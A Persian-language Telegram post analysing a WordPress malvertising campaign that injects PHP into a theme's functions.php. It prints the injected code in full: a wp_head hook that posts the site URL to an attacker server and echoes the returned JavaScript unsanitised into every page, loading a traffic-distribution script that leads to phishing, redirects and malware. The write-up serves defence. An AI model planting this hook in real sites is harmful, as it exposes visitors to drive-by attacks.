NEW BOT Телеграм, страница

✅

#WordPress

تحلیل کمپین Malvertising در وردپرس:
مهندسی معکوس تکنیک‌های پنهان‌سازی در functions.php

یک کمپین Malvertising (تبلیغات بدافزاری) پیچیده و در عین حال پنهان‌کار، وب‌سایت‌های وردپرسی را هدف قرار داده است. این کمپین با تزریق یک قطعه کد PHP به ظاهر بی‌خطر در فایل functions.php قالب فعال، کنترل کامل بر روی محتوای front-end وب‌سایت را به دست گرفته و بازدیدکنندگان را در معرض انواع تهدیدات، از جمله هدایت‌های اجباری (Forced Redirects) ، نمایش پاپ‌آپ‌های مخرب و بدافزارهای drive-by قرار می‌دهد.

فاز اول: شناسایی و نقطه نفوذ

حمله زمانی شناسایی شد که صاحبان وب‌سایت متوجه بارگذاری اسکریپت‌های جاوا اسکریپت مشکوک و ناخواسته‌ای شدند که هرگز توسط آن‌ها نصب نشده بود. بررسی سورس صفحه (View Page Source)، سرنخ اولیه را آشکار ساخت: یک تگ <noscript> که فایلی را از یک دامنه خارجی و ناشناس بارگذاری می‌کرد.

تحقیقات عمیق‌تر نشان داد که منشأ این تزریق، یک قطعه کد PHP است که به انتهای فایل functions.php قالب فعال وردپرس اضافه شده است. این فایل به دلیل نقش کلیدی در تعریف عملکردها و ویژگی‌های قالب، یک هدف ایده‌آل برای مهاجمان است.

بردار اصلی نفوذ در این کمپین، اغلب یکی از موارد زیر است:

* آسیب‌پذیری در افزونه‌ها یا قالب‌های قدیمی: مهاجمان با بهره‌برداری از یک آسیب‌پذیری شناخته‌شده، دسترسی لازم برای ویرایش فایل‌های قالب را به دست می‌آورند.

* اعتبارنامه‌های ضعیف یا سرقت‌شده: استفاده از رمزهای عبور ضعیف برای حساب مدیریت وردپرس، FTP یا کنترل پنل هاستینگ، مسیری مستقیم برای نفوذ فراهم می‌کند.

* مجوزهای دسترسی (Permissions) نادرست فایل‌ها: اگر فایل functions.php دارای مجوز نوشتن (writable) برای پروسس وب‌سرور باشد، بدافزارها می‌توانند به راحتی آن را ویرایش کنند.

فاز دوم: کالبدشکافی کد تزریق‌شده

کد تزریق‌شده در فایل functions.php به شکل زیر است. سادگی ظاهری این کد، قدرت پنهان‌کاری آن را افزایش می‌دهد:

// Injected PHP function in functions.php

function ti_custom_javanoscript() {
    $response = wp_remote_post(
     'https://brazilc.com/ads.php',
        array(
            'timeout' => 15,
            'body' => array('url' => home_url())
        )
    );
    if (!is_wp_error($response)) {
        echo wp_remote_retrieve_body($response);
    }
}

add_action('wp_head', 'ti_custom_javanoscript');

تحلیل دقیق عملکرد کد:

1۔ add_action('wp_head' , 'ti_custom_javanoscript'); : این خط، قلب مکانیزم حمله است. با استفاده از هوک (hook) وردپرسی wp_head ، تابع ti_custom_javanoscript در هر بار بارگذاری صفحه (page load) در تمام بخش‌های وب‌سایت، درست در داخل تگ <head> اجرا می‌شود. این تضمین می‌کند که کد مخرب قبل از هر اسکریپت دیگری بارگذاری و اجرا شود.

2۔ wp_remote_post(...) : این تابع وردپرسی یک درخواست HTTP POST به سرور فرماندهی و کنترل (C\&C) مهاجم به آدرس hxxps://brazilc[.]com/ads.php ارسال می‌کند. در بدنه (body) این درخواست، آدرس وب‌سایت آلوده (home_url()) نیز ارسال می‌شود که احتمالاً برای ردیابی قربانیان توسط مهاجمان استفاده می‌شود.

3۔ echo wp_remote_retrieve_body($response); : این بخش، حیاتی‌ترین قسمت است. پاسخ دریافت شده از سرور C\&C (که حاوی payload جاوا اسکریپت مخرب است) بدون هیچ‌گونه اعتبارسنجی یا پاک‌سازی، مستقیماً در خروجی HTML صفحه چاپ (echo) می‌شود. این تکنیک به مهاجم اجازه می‌دهد تا به صورت پویا و از راه دور، محتوای مخرب را در لحظه به مرورگر بازدیدکنندگان تزریق کند.

فاز سوم: تحلیل Payload جاوا اسکریپت

پاسخی که از سرور C\&C بازگردانده می‌شود، یک payload جاوا اسکریپت چندمرحله‌ای است که یک حمله دومرحله‌ای (Two-Pronged Attack) را اجرا می‌کند:

مرحله اول: سیستم توزیع ترافیک

اولین بخش از payload، اسکریپتی را از دامنه porsasystem[.]com (مشخصاً فایل 6m9x.js) بارگذاری می‌کند. این دامنه به عنوان یک سیستم توزیع ترافیک (TDS) عمل می‌کند. یک TDS، سرویسی است که بازدیدکنندگان را بر اساس پارامترهای مختلفی مانند موقعیت جغرافیایی، نوع سیستم‌عامل، مرورگر و... پروفایل کرده و سپس آن‌ها را به مخرب‌ترین یا سودآورترین مقصد بعدی هدایت می‌کند. این مقصد می‌تواند شامل موارد زیر باشد:

* صفحات فیشینگ

* سایت‌های تبلیغاتی مخرب

* کیت‌های بهره‌برداری (Exploit Kits)

* دانلود بدافزارهای دیگر (مانند باج‌افزار یا تروجان‌های بانکی)

این اسکریپت مسئول اصلی هدایت‌های ناخواسته و نمایش پاپ‌آپ‌هایی است که توسط کاربر گزارش شده است.

Please open Telegram to view this post

VIEW IN TELEGRAM

59 views11:07